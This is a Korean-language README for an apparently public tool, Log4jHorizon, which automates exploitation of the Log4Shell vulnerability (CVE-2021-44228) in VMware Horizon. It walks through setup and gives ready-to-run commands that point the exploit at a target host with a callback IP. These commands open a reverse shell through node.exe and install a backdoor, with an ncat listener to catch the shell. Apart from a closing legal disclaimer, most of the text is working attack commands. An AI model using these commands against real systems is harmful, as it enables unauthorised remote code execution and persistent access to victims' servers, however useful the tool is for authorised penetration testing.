
CVE-2021-44228을 VMWare Horizon에서 악용하여 원격 코드 실행 및 그 이상을 수행합니다.
VMWare Horizon에서 CVE-2021-44228을 악용하여 원격 코드 실행 등을 수행하는 도구입니다.
이번 버전의 코드와 README.md는 다소 분산되어 있습니다. 업데이트 예정입니다!
이 취약점에 대한 개념 증명(PoC) 자료는 분산되어 있고 수동으로 수행해야 합니다. 이 저장소는 악용 과정을 자동화합니다. 사후 악용(post-exploitation)에 대한 지침은 위 블로그 게시물을 참조하세요.
이 저장소는 수동으로 또는 Docker를 사용하여 사용할 수 있습니다.
악용 도구를 수동으로 다운로드하고 실행하려면 다음 단계를 수행하세요. 먼저 공격자 호스트에 Java와 Maven이 설치되어 있는지 확인하세요. Debian 기반 운영 체제에서 apt를 사용하여 설치하려면 다음 명령을 실행하세요:
apt update && apt install openjdk-11-jre maven
GitHub 저장소를 클론하고 모든 Python 요구 사항을 설치하세요:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
Log4jHorizon 저장소의 루트에서 아래 명령을 사용하여 Rogue-Jndi 프로젝트를 컴파일하세요:
mvn package -f utils/rogue-jndi/
먼저 공격 호스트에 Docker가 설치되어 있는지 확인하세요. (이 과정은 안내하지 않겠습니다)
그런 다음 다음 명령을 실행하여 저장소를 클론하고 사용할 Docker 이미지를 빌드하세요.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
컨테이너를 실행하려면 명령줄 플래그를 추가하여 다음 명령과 유사한 명령을 실행하세요. 컨테이너는 리버스 셸을 수신하지 않는다는 점에 유의하세요. 별도의 셸 세션에서 ncat 리스너를 생성해야 합니다:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
로컬 시스템에 설치된 도구를 사용하여 리버스 셸을 획득합니다:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
이 도구는 침투 테스트 중 사용하도록 설계되었습니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 모든 관련 지방, 주, 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램의 오용에 대해 책임을 지지 않습니다.